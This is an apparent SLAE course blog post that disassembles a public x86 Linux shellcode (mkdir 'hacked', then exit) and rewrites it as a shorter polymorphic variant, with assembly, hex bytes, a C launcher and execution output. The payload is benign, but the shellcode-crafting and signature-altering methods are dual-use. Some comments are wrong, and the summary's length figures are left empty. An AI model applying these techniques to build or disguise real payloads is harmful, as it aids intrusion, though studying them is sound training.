Jakub Heba, Security Researcher @ AFINE

Research and Security of Web Applications, Assembly, Reverse Engineering. All kind of security related stuff.

View my GitHub

Mkdir

Address of the original shellcode:

Original source code:



The comment in that file is not correct.. I cut and pasted the shell code
in an existing c source and forgot to adjust it..

/*
 * This shellcode will do a mkdir() of 'hacked' and then an exit()
 * Written by zillion@safemode.org
 *
 */

char shellcode[]=
        "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed"
        "\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68"
        "\x61\x63\x6b\x65\x64\x23";


void main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}

To illustrate the appearance of the NASM code of the above shellcode, we will use the ndisaasm command.

$ echo -ne "\xeb\x16\x5e\x31\xc0\x88\x46\x06\xb0\x27\x8d\x1e\x66\xb9\xed\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe5\xff\xff\xff\x68\x61\x63\x6b\x65\x64\x23" | ndisasm -u -

00000000  EB16              jmp short 0x18
00000002  5E                pop esi
00000003  31C0              xor eax,eax
00000005  884606            mov [esi+0x6],al
00000008  B027              mov al,0x27
0000000A  8D1E              lea ebx,[esi]
0000000C  66B9ED01          mov cx,0x1ed
00000010  CD80              int 0x80
00000012  B001              mov al,0x1
00000014  31DB              xor ebx,ebx
00000016  CD80              int 0x80
00000018  E8E5FFFFFF        call dword 0x2
0000001D  6861636B65        push dword 0x656b6361
00000022  64                fs
00000023  23                db 0x23

I will try to present my polymorphic shellcode in parts (and finally the whole) in order to explain in detail the changes and improvements I have made.


sys_mkdir()

Original code:

00000000  EB16              jmp short 0x18
00000002  5E                pop esi
00000003  31C0              xor eax,eax
00000005  884606            mov [esi+0x6],al
00000008  B027              mov al,0x27
0000000A  8D1E              lea ebx,[esi]
0000000C  66B9ED01          mov cx,0x1ed
00000010  CD80              int 0x80
[..]
00000018  E8E5FFFFFF        call dword 0x2        <--- Everything from here means "Push 'hacked#' on top of the stack
0000001D  6861636B65        push dword 0x656b6361
00000022  64                fs
00000023  23                db 0x23

Code after changes:

	xor eax, eax        ; Clear the EAX register
	add al, 0x27        ; EAX contains the mkdir() system call identifier
	push edi            ; string terminator
	push word 0x6465    ; 'ed' in reverse
	push 0x6b636168     ; 'hack' in reverse
	mov ebx, esp        ; The ECX register contains the address of the arguments on the stack
	mov cx, 0x1ed	    ; file mode, hex(1ed) = dec(493) = oct(755)
	int 0x80            ; Execute system call

As we can see, I gave up the JMP-CALL-POP technique in favor of placing a string with the name of the created folder on the stack with a null being a string terminator. This trick allowed to save up to 8 bytes!


sys_exit()

Original code:

00000012  B001              mov al,0x1
00000014  31DB              xor ebx,ebx
00000016  CD80              int 0x80

Code after changes:

  	add al,0x1          ; EAX = 0, so let's make it 1
	xor ebx, ebx        ; EBX should be 0
	int 0x80            ; Execute exit() syscall

Only one line has been changed - the ADD instruction was used instead of the MOV instruction.


Full code after changes

; Filename: 	mkdir.nasm
; Author:   	Jakub Heba
; Purpose:	SLAE Course & Exam

global _start			

section .text
_start:
	xor eax, eax        ; Clear the EAX register
	add al, 0x27        ; EAX contains the mkdir() system call identifier
	push edi            ; string terminator
	push word 0x6465    ; 'ed' in reverse
	push 0x6b636168     ; 'hack' in reverse
	mov ebx, esp        ; The ECX register contains the address of the arguments on the stack
	mov cx, 0x1ed	    ; file mode, hex(1ed) = dec(493) = oct(755)
	int 0x80            ; Execute system call
	add al,0x1          ; EAX = 0, so let's make it 1
	xor ebx, ebx        ; EBX should be 0
	int 0x80            ; Execute exit() syscall

Compiling and Execution

$ ./compile.sh mkdir
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
"\x31\xc0\x04\x27\x57\x66\x68\x65\x64\x68\x68\x61\x63\x6b\x89\xe3\x66\xb9\xed\x01\xcd\x80\x04\x01\x31\xdb\xcd\x80"

Shellcode.c wrapper file content:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x04\x27\x57\x66\x68\x65\x64\x68\x68\x61\x63\x6b\x89\xe3\x66\xb9\xed\x01\xcd\x80\x04\x01\x31\xdb\xcd\x80";
main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Execution:

$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
$ ls
compile.sh  shellcode  shellcode.c  template  template.nasm  template.o

$ ./shellcode 
Shellcode Length:  28

$ ls -la
total 44
drwxrwxr-x 3 slae slae 4096 Mar 30 12:45 .
drwxrwxr-x 5 slae slae 4096 Mar 25 05:33 ..
-rwxrwxr-x 1 slae slae  310 Mar 25 13:41 compile.sh
-rw------- 1 slae slae  710 Mar 25 16:00 .gdb_history
drwxr-xr-x 2 root root 4096 Mar 30 12:45 hacked           <------
-rwxr-xr-x 1 root root 7462 Mar 30 12:44 shellcode
-rw-rw-r-- 1 slae slae  287 Mar 30 12:43 shellcode.c
-rwxr-xr-x 1 root root  534 Mar 30 12:43 template
-rw-rw-r-- 1 slae slae  232 Mar 25 16:05 template.nasm
-rw-rw-r-- 1 slae slae  448 Mar 30 12:43 template.o

Summary

Original shellcode length:

Length of polymorphic shellcode:

Difference in length:

Pwned.



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3

Student ID: SLAE-1524